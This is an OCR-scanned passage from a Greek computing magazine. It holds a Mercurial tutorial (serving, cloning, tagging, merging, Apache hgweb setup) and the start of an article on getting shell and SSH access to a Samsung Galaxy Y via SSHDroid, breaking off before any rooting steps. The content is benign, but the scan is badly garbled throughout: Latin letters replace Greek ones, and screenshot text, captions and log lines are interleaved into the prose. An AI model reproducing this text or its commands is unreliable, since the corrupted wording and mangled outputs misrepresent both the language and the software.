που διαθέτουμε και γνωρίζουμε εἶναι η διεύθυνση IP του υπολογιστή µας. 
Τελικά, πὼς θα του δώσουμε τον κὠδικά µας; Το Mercurial ἐχει φροντίσει 
*kal* γι’ αυτὀ! Αρκεὶ να εκτελἐσουµε τα ακόλουθα: 


$ cd ~/newsources 
$ hg serve 
listening at http://192.168.0.3:8000/ 


Auto ἠταν! To Mercurial ἄρχισε να ακούει στη διεύθυνση IP του υπολογι- 
OTN µας (σε εμάς ἠταν η 192.168.0.3) και στο port 8000. Συγκεκριµένα, 
σε αυτή τη διεύθυνση και σε αυτό port άρχισε να σερβίρει Eva απλὀ web 
interface! O φίλος µας µπορεἰ να το επισκεφτεἰ µε TO browser Tou, στη ÕI- 
εὐθυνση: http://192.168.0.3:8008. Ωστόσο, µπορεί να κἀνει και κάτι πολύ 
πιο ενδιαφἑἐρον. Να δημιουργήσει και να λάβει αυτόματα vav κλὠνο του 
κὠδικά µας! Πα το σκοπὀ αυτό, αρκεἰ να γράψει κἀτι τέτοιο: 


$ hg clone http://192.168.0.3:8000 newsources 


Όπως εἰπαμε, µε αυτόν τον τρόπο θα αποκτήσει Evav κλὠνο του δικού 
μας repository, στον οποίο θα αντιστοιχεἰ Eva workspace µε το ὀνομα 
newsources. Το γεγονὸς ὁτι τα δύο repositories (το δικὀ µας και το δικὀ 
του) θα ἐχουν περιοχὲς εργασἰας µε το ἴδιο ὀνομα δεν EXE! καμία σημασία, 
εφόσον βρἰσκονται σε διαφορετικά μηχανήματα. Το φιλαράκι µας µπορεἰ 
να πάει στο σπίτι του και να πιάσει δουλειἀ σχεδὸν αµέσως. Δεν σας AEHE 
«αμέσως», γιατὶ προηγουμένως θα πρέπει να ανοίξει το .hg/hgrc και να 
βάλει το δικὀ του ὀνομα και τη δικἠ του διεύθυνση email. Αν εντοπίσει και 
διορθώσει κανένα bug ἡ αν κάνει καμία καταπληκτικἡ προσθήκη, µπορεἰ 
να ξαναπεράἀσει ano το τοπικὀ µας δίκτυο και να κάνει Eva push, ἡ να 
κάνουμε εμεὶς Eva pull. 


Tag και merge 


Aiyo πριν κάνουμε release την πρώτη και φοβερή ἐκδοση του Hello 
World™ εἶναι καλἠ ιδέα να κάνουμε το λεγόμενο tagging. Αναρωτιέστε τι 
εἶναι το tagging; Πρόκειται για τη διαδικασἰα αντιστοίχησης ενὸς συµβο- 
λικού ονόματος σε Eva Changeset. Κάνοντας κἀτι TETOIO θα μπορούμε να 
αναφερόμαστε στο συγκεκριμένο Changeset χρησιμοποιώντας το tag και 
ox! κατ΄ ανάγκη To revision number. Πριν ὁμως περάσουμε σε παράδειγµα 
της χρησιμότητας των tag, ας δούμε NWG μπορούμε να αντιστοιχήσουμε 
ἑνα στο προγραμματάκι µας: 


$ cd ~/newsources 
$ hg tag v1.0 


$ hg log 

changeset: 2:a46befeb244e 

tag: tip 

user: John Mercurialguy <john@Mercurialguy.com> 
date: Sun Dec 18 22:34:13 2011 +0200 

summary: Added v1.0 for changeset fb436aedfd54 


Bob's repo 


O Bob κάνει pull 
ano την Alice. Av 
και αρχικἀ αμφό- 
τεροι εἶχαν κοινά 
changesets (a ως 
d), τώρα ο καθένας 
έχει κάνει τις δικές 
του αλλαγές. Το 
αποτέλεσµα εἰναι 
να δημιουργηθεί 
Eva νέο head, 
καθώς υπάρχουν 
δύο διαφορετικἀ 
tip changeset: 

éva το δικό TOU κι 
éva ano την Alice. 
Το επόμενο βήμα 
εἶναι φυσικά va 
γίνει merge των 

f kai g. To merge 
δημιουργεί éva νέο 
changeset (merge 
changeset), To 
οποίο πρέπει επίσης 
va γίνει commit. 
τυχόν αλλαγές στο 
ίδιο αρχείο θα ava- 
μειχθούν εἶτε αυ- 
τόµατα εἴτε (ουπς!) 
χειροκίνητα! 
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Όπως φαίνεται στην τελευταία γραμμή Tou αποσπάσματος, στο changeset 
προστέθηκε ως tag To «v1.0». Αργότερα, ὁσες αλλαγές κι αν κάνουμε 
στον κὠδικα, όσα commit κι αν µεσολαβήσουν, θα μπορούμε πάντα va 
επανέλθουµε στη συγκεκριμένη κατάσταση του κὠδικα δίνοντας κάτι TÈ- 
ΤΟΙΟ: 


$ hg revert -r v1.0 hello.c 


Προηγουμένως αναφερθήκαµε στις λειτουργίες push και pull, αλλά δεν 
εξετάσαµε όλα τα πιθανὰ σενάρια. Φανταστείτε λοιπὸν να εργάζεστε σε 
va project μαζί µε άλλους developer και να τροποποιἠσετε Eva συγκε- 
κριμένο αρχείο, το οποίο έχει τροποποιήσει και κἄποιος άλλος! ΤΙ θα oup- 
Bei τότε; Ας κάνουμε Eva πείραμα, για να μάθουμε and πρὠτο χέρι... 


Αρχικἁ θα τροποποιήσουμµε To hello.c, που βρίσκεται στην περιοχἠ ερ- 
γασἰας του κλώνου (newsources2). Συγκεκριμένα, αμέσως πριν and το 
return 0 θα προσθέσουμε την ακόλουθη γραμμὴ: 


printf("Have a nice day!\n"); 


Αφού αποθηκεύσουµε τον αλλαγμένο κὠδικα, θα κάνουμε και το anapai- 
τητο commit: 


$ hg commit -m "Add a new message at the end" 


Topa μπορούμε va μεταβούμε στην περιοχή εργασίας του μητρικού 
repository (newsources), για να πειράξουµε κι εδὠ το hello.c. Αυτή τη 
φορὰ θα προσθέσουμε Eva μήνυμα, πριν ano τα υπόλοιπα του προγράμ- 
ματος: 


printf("Hello earthlings!\n"); 


Αφού αποθηκεύσουμε, θα προχωρήσουμε και πάλι στο απαραίτητο 
commit: 


$ hg commit -m "Add a new message at the beginning" 


Topa έχουμε δύο repository (To Eva κλὠνος του ἄλλου) που περιλαμβά- 
VOUV διαφορετικὲς εκδοχέἑς του ἰδιου αρχείου (hello.c). Ας προσπαθήσου- 
µε να κάνουμε Eva pull, για να δούμε τι θα συμρεἰ... 


$ hg pull ../newsources2 

pulling from ../newsources2/ 

searching for changes 

adding changesets 

adding manifests 

adding file changes 

added 1 changesets with 1 changes to 1 files (+1 heads) 
(run ‘hg heads' to see heads, ‘hg merge' to merge) 


Χμ, εκτὸς ano To changeset, προστέθηκε και Eva «head». Ti εἶναι αυτό 
πάλι; Όπως avtiAauBaveote, va changeset δεν µπορεί να περιλαμβά- 
νει ταυτόχρονα δύο διαφορετικἐς εκδοχὲς του ἰδιου αρχείου. Επομένως, 
κατά την ενηµέρωση του ενὸς repository µε Ta περιεχόμενα του ἄλλου το 
Mercurial κλήθηκε να ενώσει δύο tip (Ta changeset που βρίσκονται στην 
κορυφή του repository), τα οποία περιέγραφαν διαφορετικὲς εκδοχἑς του 
ἰδιου αρχείου. Έτσι, το Mercurial αποφάσισε να προσθέσει Eva νέο head 
(ἡ branch). Με ἄλλα λόγια, αποφάσισε να δημιουργήσει µια νέα γραµµή 
ανάπτυξης του κὠδικα! 


Προφανώς, εμείς δεν θέλουμε να ξεκινάμε κἀθε iyo διαφορετικές Ypap- 
μὲς ανάπτυξης στα project που συμμετέχουμε. Μπορούμε λοιπὸν να pi- 
XVOUHE µια ματιὰ στα διαφορετικἀ head, δίνοντας αυτό: 
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$ hg heads 


Στη συνέχεια μπορούμε να ενώνουμε Ta διαφορετικἁ head και να naip- 
VOUHE τα αρχεία που προκύπτουν an τη συνένωση, εκτελώντας αυτό: 


$ hg merge 

merging hello.c 

© files updated, 1 files merged, © files removed, @ files unresolved 
(branch merge, don't forget to commit) 


Έχοντας στα χέρια µας την TEAIKN εκδοχἠ των αρχείων, θα μπορούμε va 
κάνουμε και το τελικὀ Commit: 


$ hg commit -m "Merging from newsources2" 


$ hg log 

changeset: 11: c68009056397 
tag: tip 

parent: 9:ς67829466264 


parent: 10:@acaQ773fd1c 


Παρατηρήστε oT! αυτό το tip ἐχει δύο parent-changeset. Αυτό ἦταν ava- 
μενόμενο, εφόσον προέκυψε and την ένωση των δύο head. Με To πεἰρα- 
μα που κάναμε, εἶδαμε τι συμβαίνει όταν δύο developer τροποποιούν το 
ἰδιο αρχείο. H περίπτωση που εξετάσαµε ὁμως, ἧταν ano τις εὐκολες! Τι 
θα συνέβαινε αν οι δύο προγραμματιστὲς τροποποιούσαν την ἴδια ακρι- 
βώς γραμμὴ, στο ἴδιο αρχείο; Σε αυτή την περίπτωση, ὁταν θα ζητούσαμε 
ano To Mercurial να κἀνει το merge, θα µας ζητούσε µε τη σειρἀ του va 
επιλέξουμε τη μία ano τις δύο εκδοχὲς της γραμμής. Με ἀλλα λόγια, θα 
μετέθετε το πρόβλημα σε µας, που εἶναι και το λογικὀ... εφόσον θέλουμε 
να λεγόμαστε developer :) 


Web interface 


Για va εκμεταλλευόμαστε πλήρωςτις δυνατότητες ενόὸς repository πρέπει 
να μπορούμε να κάνουμε push ακόµα κι απὸ απομακρυσμµένους υπολο- 
γιστές, μέσω δικτύου. Εδὠ χρειάζεται λίγη παραπάνω προεργασἰα. Όταν 
κάνουμε push ano τον κλὠνο στον ἄλλο, στο ἰδιο πάντα μηχάνημα, δεν 
τίθεται κανένα θέμα δικαιωμάτων. Όταν ωστόσο θέλουμε να κάνουμε 
push σε remote repository πρέπει να εξασφαλἰσουμε ὁτι To repository 
επικοινωνεἰ δικτυακά, ὁπως επἰσης και TO ὁτι ἐχουμε δικαιώματα πρὀ- 
σβασης! 


Ένας συνήθης τρόπος για να κάνουμε Eva repository δημόσια διαθέσιμο 
εἶναι µε τη βοήθεια κάποιου web server (τυπικἁ του Apache) και ρυθμ|- 
ζοντας το repository µας µε τέτοιο τρόπο, WOTE να μπορούμε να κάνουμε 
ὀλες τις τυπικὲς διαδικασίες (clone, pull, push) μέσω HTTP. Μπορούμε pu- 
σικἀ να ρυθµἰσουμε το repository ὡστε ὀλες οι διαδικασίες να απαιτούν 
authentication, αλλά το σύνηθες εἶναι να επιτρέπεται ανώνυμη πρὀσβαση 
read-only και µόνο στο push να απαιτείται username kal password. Θεω- 
ρώντας ὁτι EXOUHE NON εγκατεστημένο τον Apache web server, μπορούμε 
να ξεκινήσουμε εντοπἱζοντας τα αρχεία .cgi, που ἐρχονται µε το πακὲ- 
το Tou Mercurial. Θα τα βρούμε κατὰ πάσα πιθανότητα στο /usr/share/ 
Mercurial/www ἡ στο /usr/local/share/Mercurial/www. Συγκεκριμένα, θα 
χρειαστούμε το αρχεἰο hgweb.cgi. Αρχικά, λοιπὸν, θα πρέπει να δηµιουρ- 
γήσουμε ἑναν κατάλογο HE το ὀνομα hg και να αντιγράψουμε το εν λόγω 
αρχείο εκεἰ μέσα: 


$ mkdir ~/hg 
$ cp /usr/share/Mercurial/www/hgweb.cgi ~/hg 


. 
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τώρα πρέπει να ανοίξουμε το αρχεἰο και να εντοπίσουμε µια γραµµή που 
μοιάζει µε την ακόλουθη: 


config = /home/user/hg/hgweb. conf 


Προφανώς, στη θέση Tou user θα πρέπει να βάλουμε το δικὀ µας 
username. Στην πρὠτη γραμμὴ του αρχείου, βλέπουμε OT! ο διερμηνέας 
που θα εκτελέσει το συγκεκριμένο Script εἶναι η Python: 


#! /usr/bin/env python 


Ωστόσο, καθώς η µεταβλητή env ενδέχεται να µην εἶναι σωστά ορισμένη, 
θα πρέπει να ορἰσουµε μόνοι µας τη θέση της Python. Εάν για παράδειγµα 
η Python βρίσκεται στον κατάλογο /usr/local/bin, θα πρέπει να γράψουμε 
κάτι τέτοιο: 


#! /usr/local/bin/python 


Μετὰ ano αυτὲς τις δύο επεμβάσεις, μπορούμε να αποθηκεύσουµε το ap- 
χεἰο και να βρούμε ano τον editor. Όχι για πολὺ ὁμως. Τώρα θα πρέπει 
να δημιουργήσουμε το αρχείο hgweb.config και να πληκτρολογήσουμε TO 
ακόλουθο περιεχόµενο: 


[paths] 
newsources = /home/user/newsources 


Μέσα στον ἰδιο κατάλογο (~/hg) πρέπει να δημιουργήσουμε και το αρχείο 
µε τα ονόματα και τους κωδικούς όλων OOO! επιτρέπεται να κάνουν push 
στο δικό µας repository. AUTO θα το κάνουμε µε To utility που ονομάζεται 
htpasswd και το οποίο παρέχεται µε Tov Apache. Πα Tov ορισμὀ ενός χρή- 
στη µε username To user, αρκεἰ να εκτελέσουµε τα ακὀλουθα: 

$ cd ~/hg 

$ htpasswd -c hgusers user 


Enter Password: **** 
Re-enter password: **** 


To password δεν φαίνεται, αλλά εμείς το ξέρουμε ;) Τώρα μπορούμε va 
ασχοληθούμε µε Tov Apache. Συγκεκριμένα, θα τροποποιήσουµε το ap- 
xeio httpd.conf (H θέση του εξαρτάται ano τη διανομὴ, αλλά κατὰ πάσα 
πιθανότητα θα το βρείτε στο /etc ἡ στο /usr/local/etc κι ενδεχομένως 
μέσα σε υποκατάλογο µε ὀνομα apache ἡ httpd). Σε αυτό το αρχείο θα 
πρέπει να προσθέσουμε τα ακόλουθα: 


DocumentRoot "/home/user/hg" 
ScriptAlias /hg "/home/user/hg/hgweb.cgi" 
<Directory "/home/user/hg/"> 

Order allow,deny 

Allow from all 

AllowOverride All 

Options ExecCGI 

AddHandler cgi-script .cgi 

AuthUserFile /home/user/hg/hgusers 

AuthName "Mercurial" 

AuthType Basic 

<Limit POST PUT> 

Require valid-user 

</Limit> 

</Directory> 


Τέλος, θα πρέἐπει να κάνουμε μερικὲς ακόµα ρυθμίσεις στο repository nou 
θα γίνει public. Αυτὲς θα γίνουν προσθέτοντας μερικὲς γραμμὲς στο OXE- 
TIKO αρχείο ρυθμίσεων. Πα το σκοπὀ αυτὸ, δίνουμε αρχικἁ αυτό: 
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$ cd ~/newsources/.hg 
Topa μπορούμε να ανοίξουμε To hgrc και να προσθέσουµε τα παρακάτω: 


[web] 
push_ssl = false 
allow_push = user 


Κοντεύουμε Va τελειώσουμε... αλήθεια! Απομένει µια λεπτομέρεια. Όταν 
θα κάνει κάποιος push µέσω δικτύου, ο χρήστης που θα τροποποιεί το 
repository θα εἶναι εκείνος µε του οποίου τα δικαιώματα εκτελείται ο 
Apache. Συνήθως πρὀκειται για τον www ἢ τον www-data. Σε αυτόν 
το χρήστη, λοιπὀν, θα πρέπει να δώσουμε πλήρη δικαιώματα Eni του 
workspace. Πα va το πετύχουμε αυτό, αρκεἰ να δώσουμε κάτι τέτοιο: 


# cd /home/user 
# chown -R user:www newsources/ 
# chmod -R g+w newsources/ 


Εἰμαστε ἑτοιμοι! Μπορούμε va επανεκκινἠήσουµε Tov Apache και va ouv- 
δεθούμε µέσω κάποιου browser. Μπορούμε επἰσης να κάνουμε push και 
pull δικτυακἁ και and τη γραμμὴ εντολών! Πα παράδειγµα, υποθέτοντας 
ότι το μηχάνημα µε το repository ἐχει τη διεύθυνση 192.168.0.3, uno- 
ρούμε απὀ οποιοδήποτε μηχάνημα του δικτύου µας να εκτελούμε το AKÒ- 
λουθο: 


$ hg clone http://192.168.0.3/hg/newsources sources 
Επίσης, θα μπορούμε να EKTEAOUHE κι αυτά: 


$ cd sources 
$ hg pull http://192.168.0.3/hg/newsources 


Όπως κι αυτά: 


$ cd sources 
$ hg push http://192.168.0.3/hg/newsources 


Φυσικά, σε κάθε τἐτοια κίνηση θα πρέπει να δίνουμε TO username και TO 
password που ορἰσαµε προηγουμένως! Όσα εἰδαμε αποτελούν Evav µόνο 
τρόπο για τη δικτυακἠ πρόσβαση σε Eva repository µε το Mercurial. Και 
για να εἱμαστε ειλικρινεὶς, δεν εἶναι και ο ασφαλέἐστερος τρόπος. Αν όμως 
σας πεἰσαμε ὁτι αξίζει va ασχοληθεἰτε µε τα VCS και ειδικἁ το Mercurial, 
µπορείτε να μάθετε πολλά περισσότερα και να γίνετε Mercurial-guru, pE- 
λετώντας το documentation στο http://Mercurial.selenic.com. Και κάτι 
τελευταίο: To FreeBSD Greek Documentation Project Χρησιμοποιεί το 
Mercurial. Περιμένω va µου στείλετε τα δικἁ σας patch και αν εἶστε καλοί, 
θα σας δώσω και πρὀσβαση ;) 


Skill: 
Beginner 


Tags: Android, 
Rooting, SSH, 
Command Line 
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- a: J ο κ. ΠΙΟ την τελευταία δεκαετία µια νέα μόδα ἐκανε την 
gift / ay ᾗ εμφάνιση της: H προϊοντικὴ εξυπνάδα! Ano το 
ο ας b- ΡΕ NA ἐξυπνο αυτοκινητάκι SMART* ως τις έξυπνες 
“tiie E i οὐ ο δα τηλεοράσεις, τα έξυπνα Ψυγεία, τα ἐξυπνα 
ο. ο κ ο δα πλυντήρια και τα έξυπνα κινητά... H εξυπνάδα 
ἐγινε το μότο της εποχής, ωστόσο υπάρχουν και 
κάποιοι που ισχυρἰζονται ὅτι ὅσο πιο ἔξυπνες 
γίνονται οι μηχανές, τόσο πιο Χαζός γίνεται 
ο ἄνθρωπος. Ίσως η αλήθεια να βρίσκεται 
κάπου στη μέση -- αλλὰ ὀχι για µας. Πὼς να το 
κάνουμε, ἑνας ἄνθρωπος που ασχολεῖται µε TO 
deltaHacker θέλει *kai* γίνεται εξυπνότερος! 


.. 
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Ας πάρουμε τα npåypaTta ano την αρχή. Τι άλλαξε στα κινητά THAEMO- 
να και στις τηλεοράσεις, ὥστε να ονομαστούν ἑξυπνες; Μήπως βρήκαμε 
τρὀπο va εισάγουµε IQ στα χαζοκούτια, για να ξεπεράσουν επιτέλους τη 
PETOIVIG του ανόητου; Μάλλον ὀχι, αλλά ας το σκεφτούμε λίγο περισσὀ- 
τερο. Μα, ναι, αυτὀ εἶναι! Κάναμετις συσκευές να συμπεριφέρονται όπως 
οι υπολογιστὲς µας: Μπορούν πλέον να ¿xouv πρόσβαση στο Internet, να 
εγκαθιστούν προγράµµατα, να επικοινωνούν μεταξὺ τους και, γενικότε- 
ρα, να μεταβάλλουν τη λειτουργικὀτητά τους σύμφωνα µε τις επιθυμίες 
μας. Έτσι, ως προς τη λογική που διέπει τη λειτουργία τους, μοιάζουν µε 
τους υπολογιστὲς που έχουμε στο σπίτι και στο γραφείο µας. Τώρα που 
ξεκαθαρίσαµε το εἶδος της εξυπνάδας που EXOUV οι μοντέρνες συσκευές, 
μπορούμε να περάσουμε σε κἀτι πιο ουσιώδες (και πραγματικἁ ἐξυπνο): 
Τι βρίσκεται niow απ’ ὁλα αυτά; Ποιος μηχανισμός εἶναι υπεύθυνος για 
την εξυπνάδα; Μπορούμε άραγε va τον διαχειριστούμε; Μπορούμε va 
μην τον αφήνουμε va διαχειρἰζεται αυτός εμάς; Αν ανἠκετε στους ανθρὠ- 
πους! που δεν ικανοποιούνται μόνο ano το αποτέλεσµα αλλά θέλουν να 
γνωρίσουν την Oracle, ψάχνοντας στον τεράστιο διάδρομο HE τις EKATO- 
ντὰδες πόρτες Tou Matrix της εποχἠς μας, τότε μπορείτε να συνεχίσετε 
το διάβασμα. Ψέματα: Τότε *npénei* να συνεχίσετε το διάβασμα! 


Στο παρὀν άρθρο θα καταπιαστούµε µε τα ἐξυπνα τηλέφωνα και συγκε- 
κριμένα µε το Galaxy GT-S5370 Y (ano το Young) της Samsung. Οἱ λόγοι 
που ασχοληθήκαµε µε το συγκεκριµένο εἶναι 218, αλλά για λὀγους oiko- 
νομίας χαρτιού (apa και οικολογίας) θα σας αναφέρουμε τους πρώτους 2: 


Γιατὶ αυτό ἐχουμε. Μην µας κοιτἆτε περἰεργα! Φανταζόμαστε OT! το Young 
στο ὀνομά της συσκευἠς αναφέρεται στη διάθεση κι OX! µόνο στην ηλι- 
kia. Επομένως, εἰναι νομἰζουμε ὁ,τι πρέπει για όλους µας ;) 


H συγκεκριμένη συσκευἠ ἐχει ως λειτουργικὀ σύστημα το Android 3.2. 
Ως γνωστὀν, πρὀκειται για το λειτουργικὀ που ἐχει αναπτύξει η Google 
και το οποίο βασίζεται στο Linux. Linux; Να µια ακόµα λέξη που µας npo- 
καλεί! Δεν ξέρουμε για σας, εμεἰς όμως μόλις ακούμε Linux µια ερώτηση 
ἐρχεται στο μυαλὸ µας: Μπορώ να γίνω root; 


Εκτὸς ano τους ειδικούς λόγους που εἶχαμε για να ασχοληθούμε µε TO 
συγκεκριµένο τηλέφωνο, εἰχαμε και ἑναν γενικότερο: Η λέξη τηλέφωνο 
ano µόνη της, μὰς κάνει να ανατρἐχουµε στο παρελθὀν. Τότε που ξεκἰ- 
νησαν οἱ πρῶτοι hackers, στο ...κοντινὀ 1960 (http://en.wikipedia.org/ 
wiki/Phreaking). H λέξη τηλέφωνο --πάντα ano µόνη της-- μπορεί ν΄ ano- 
τελέσει µιας πρώτης τάξεως αφορµἠ για πειραματισμούς. Πάμε λοιπὀν! 


Προκαταρκτικἁ 


Καταρχάς, φροντίζουμε να ενεργοποιήσουμε το WiFi της συσκευἠς και να 
συνδεθούµε στο TONIK µας δίκτυο (εικὀνα 1). Πριν γοοῖ-άρουμε µια ou- 
σκευἠ, πρέπει πρῶτα να έχουμε επιλύσει κἄποια βασικἁ θέματα. To onpa- 
ντικότερο αφορά στο εἶδος της πρόσβασης που θα EXOUHE στη συσκευἠ. 
Προφανώς, εφόσον μιλάμε για Linux πιστεύουμε ὁτι το ιδανικότερο εἶδος 
πρόσβασης δεν μπορεί napa va ‘val µέσω της αθάνατης γραμμἠὴς εντο- 
λών, ας πούμε µέσω του κελύφους BASH (http://en.wikipedia.org/wiki/ 
Bash_%28Unix_shel1%29). 


Για να έχουμε γραμμή εντολών στο κινητὀ µας, θα χρειαστούμε τουλά- 
χιστον δύο προγράµµατα. Μάλιστα τα συγκεκριµένα προγράµµατα που 
θα σας πούμε μπορούν κάλλιστα να τρέξουν σε οποιοδήποτε κινητὀ µε 


1, Μάλλον ανήκετε, αφού η πιθανότητα να βρέθηκε τυχαία στα χέρια σας το περιοδικὀ εἶναι μικρὴ ;) 
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Android! To ἑνα απ΄ αυτά προσφέ- 
ρει πρόσβαση στη γραμμὴ εντολών 
του συστήματος του κινητού, ενώ 
το GAAO σηκώνει Evav SSH server 
που ακούει στην πόρτα 2222. Με 
τη βοἠθειἁ τους μπορούμε να ouv- 
δεθούμε στο KIVNTO µας μέσω EVOG 
SSH client, ano οποιαδήποτε ἄλλη 
OUOKEUN ἡ υπολογιστή του δικτύου 
μας. Εμείς, για παράδειγµα, συνδε- 
θήκαμε ano το laptop µας που τρέ- 
χει Windows 7, χρησιμοποιώντας 
το πολύ καλὸ και ιδιαίτερα βολικὀ 
PuTTY  (www.chiark.greenend.org. 
uk/~sgtatham/putty/). 


Wi-Fi settings 


Wi-Fi 


Network notification 


Wi-Fi networks 


Command line 


Ma να αποκτήσουμε πρόσβαση 
ano command line στο λειτουργι- 
KO σύστημα του κινητού, φτάνει 
να εγκαταστήσουμµε το δωρεάν πρόγραµµα Android Terminal Emulator. 
Mnopeite να το βρείτε εὐκολα αν τρέξετε την εφαρµογή Android Market 
και κάνετε µια αναζήτηση µε τη λέξη «Terminal». Πρόκειται για Eva πρὀ- 
γραμμα του Jack Palevitch, µε παραπάνω απὀ 1.000.000 λήψεις και µια 
βαθμολογία λίγο κἀτω and το ἀριστα (4,5 στα 5 αστέρια!) Το καλό µε 
αυτή την εφαρμογὴ εἶναι OT! παρέχει πολλὲς παραμέτρους και προσαρ- 
μόζεται ἄνετα στις ανάγκες και τις προτιμήσεις του καθενός. Πάντως, 
όταν την εγκαταστήσαμε στο Samsung Galaxy Y και την τρέξαμε, δεν 
ανταποκρινόταν σε κανένα πλήκτρο του εικονικού πληκτρολογίου. Ma 
να παΐξει σωστά χρειάστηκε να πάμε στα Preferences και να θέσουμε TO 
Input Method σε Word-based. Αμέσως µετά ενεργοποιἠσαµε το Default 
to UTF-8 και ἡμασταν ἑτοιμοι (εικόνα 2). Παρεμπιπτόντως, χωρίς να εἶναι 
απαραίτητο, αλλάξαμε και τα χρώματα σε Eva πιο οικεἰο και αγαπημένο 
μοτίβο για τα γούστα µας: Πράσινα γράμματα σε μαῦρο φόντο! :D 


Στην εικὀνα 2 Φαΐνεται η πρώτη 
µας επαφἠ µε τη γραμμὴ εντο- 
A@v, μέσω του Android Terminal 
Emulator. Εἶναι ξεκάθαρο oT! *dev* 
έχουμε root access. Εἷμαστε ο 
χρήστης 10070 και δεν μπορούμε 
οὖτε καν να δούμε την ἐκδοση του 
πυρήνα που τρέχει το λειτουργικὀ 
μας: στην EvTOAN uname -ᾱ, τρώ- 
µε το κλασικὸ permission denied 
S 


alul elll 
--]ο]ε]ε[ηη]κί 
:ΒΠΑΠΕΠΕ - 
DO =" | Oe 


SSH server 


H σχετικἠ εφαρμογἠ που εγκατα- 
στήσαμε ano το Android Market 
ἠταν η SSHDroid. ‘Ox! πως την 
γνωρίζαμε and καιρό, αλλά ἐχει 
4 στα 5 αστέρια και πάνω ano 
100.000 λήψεις. Όπως «φαίνεται 


Εικόνα 1 
Απαραίτητη 
προὐπόθεση πριν 
ξεκινήσουμε εἰναι 
να ενεργοποιήσου- 
με TO WiFi και va 
συνδεθούµε στο 
τοπικὀ µας δίκτυο. 


Εικόνα 2 

Το κέλυφος του 
Android στο 
Samsung Galaxy Y 
εἶναι TO BASH (sh, 
Attp://en. wikipedia. 
org/wiki/Bourne_ 
shell). 
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Εικόνα 3 στην εικόνα 3, μόλις εγκαταστή- 
ο... σουµε και τρέξουµε την εφαρµο- 
ével ασ. πλ SSHDroid yn θα ξεκινήσει ο SSH server. To 

προκαθορισμένο port στο οποίο 
δέχεται συνδέσεις εἶναι το 2222. 
Αμέσως μετὰ κάναμε µια δοκιμή, 
για να δούμε αν δουλεύουν ὁλα 


root: off 


WiFi Connection: 


Address: σωστά. Ὅπως αναφέραμε ἠδη, 
για τη δοκιμή χρησιμοποιήσαμε το 
Status: PuTTY ano éva laptop µε Windows 
7 (εικὀνα 4). Ta username και 
Connect to the above address with an password για τη σύνδεση εἶναι root 
SSH client. Kal admin αντίστοιχα -- αλλά auto 


δεν σημαίνει ότι µε τη σύνδεση 
γοοϊάρουμε τη συσκευή. Παρεμπι- 
πτόντως, να πούμε ότι η εφαρμογἠ 
i Log του SSH server καταγράφει κάθε 
Έχεις Android; μας κίνηση (εικόνα 5). 


Press HOME to run in background 


Ad 

Εὐκολες αντιγραφὲς 

Γα να μεταφέρουμε αρχεία ano 
τον υπολογιστή µας στο κινητὀ χρησιμοποιήσαμε το WinSCP (Windows 
Secure CoPy). Πρόκειται για ἑνα δωρεάν πρόγραμμα, που χρησιμοποιεἰ 
κρυπτογραφημένες συνδέσεις SSH για την εὐκολη και ασφαλἠ αντιγρα- 
Φφἠ αρχείων ano Eva σύστημα σε κἀποιο ἀλλο. Μπορεῖτε να το κατεβάσετε 


Εικόνα 4 δ τ --- 52 
Se sn Ὁ... ΕΞ: 
πραγματοποιούνται | 
πανεύκολα µε TO 


PuTTY. J- Sessi Basic options for your PuTTY session 
ὶ Specify the destination you want to connect to 
E- Terminal 
| head Host Name (or IP address) Port 
-Bell 192.168.10.11 2222 
i i.. Features Connection type: 
=) Window © Raw ©) Telnet © Rogn @ SSH © Serial 


i- Appearance 
ἽΝ εν Load, save or delete a stored session 


i- Translation Saved Sessions _ 
+ Selection MyMobile 
i- Colours 


Æ- Connection νά ee 
— 
~ Proxy 
- Telnet 


Close window on exit: 
© Aways © Never  (@ Only on clean exit 


92 


Rooting Samsung GI-S537@ GALAXY Y 


ιά DUO LUUUUAIUULIUUU OUT LUUULIUUUUUUL ULLAL LLL dh hd dhl ddhlddhidddhdddddddddddiddithd, 


SSHDroid 


root: off 


: [9369] Dec 24 19:40:39 Child connection from :: ΠΤΙ 192. 16 
: [9369] Dec 24 19:40:55 bad password attempt for ' 


; app_ rab 

: [9369] Dec 24 19:40:58 password auth succeeded for ‘app 71 
: [0369] Dec 24 19:40:39 Child connection from :: ΠΤΙ 132, 18 
: [9369] Dec 24 19:40:55 bad password attempt Tor "app ral 

: [9369] Dec 24 19:40:58 password auth succeeded for ‘app 71 
: [9369] Bec 24 19:40:39 Child connection from ::ffff:192. 18 
: [9369] Dec 24 19:40:55 bad password attempt for ' 

: [9369] Dec 24 19:40:58 password auth succeeded for ' 


Έχεις Android: 


Ad Choices 


ano To http://winscp.net. Η χρήση του προγράμματος εἶναι πολὺ απλἠ. 
Για να ξεκινήσουμε τις αντιγραφὲς αρκεί να κάνουμε μία σύνδεση προς 
το σύστημα που µας ενδιαφέρει. Οι συνδέσεις γίνονται πανεύκολα, ano 
ἑνα απλὀ περιβάλλον που θυμίζει µια απλουστευμένη EKOOXN του PUTTY 
(εικόνα 6). Apxikd, λοιπὸν, δίνουμε τα στοιχεία που µας δόθηκαν ὁταν ξε- 
κινήσαμε τον SSH server (δηλαδὴ τη διεύθυνση IP, To port, το username 
και TO password). 


Αμέσως μετὰ θα μεταφερθούμε σε Eva παράθυρο που χωρίζεται σε δύο 
κύριες περιοχές. H αριστερή δεἰχνει τον κατάλογο της τρέχουσας ou- 
σκευἠς (του υπολογιστή µας), ενώ η δεξιὰ δείχνει τα περιεχόμενα της 


ΟΝ. O O O O LL 2 


“Session | 

i. Stored sessions 
Environment 

i. Directories 
SSH 
Preferences 


Session 
Host name: 


Pot number: 
192.168.10.11 


2222 5) 


[Ea] 


User name: 
root 


Private key file: 


Protocol 
File protocol: 


Allow SCP fallback 


[E] Advanced options 


About... Languages 


Save... Close 


Εικόνα 5 

To log file Tou 
SSH server εἶναι 
ιδιαίτερα χρήσιμο! 
Edv χρησιμοποιείτε 
συχνά τη OXETIKH 
υπηρεσία (SSH), 
εἶναι σίγουρο ότι 
θα εκτιµήσετε TO 
logging απεριόρι- 
στα. 


Εικόνα 6 

Πα να συνδεθού- 
µε µε το WinSCP, 
χρησιμοποιούμε 
τα δια credentials 
που δίνουμε για να 
συνδεθούμε µέσω 
PUTTY. 
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Εικόνα 7 
To κινητό 
Galaxy Y kal 
τα πλήκτρα 
εκκίνησης 
σε recovery 
mode. 


Εικόνα 8 
Μεταφορά των 
νέων αρχείων Ekki- 
νησης. 


VHAQKER 
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απομακρυσμένης συσκευἠς (του 
κινητού). Δείτε την εικόνα 8 και 
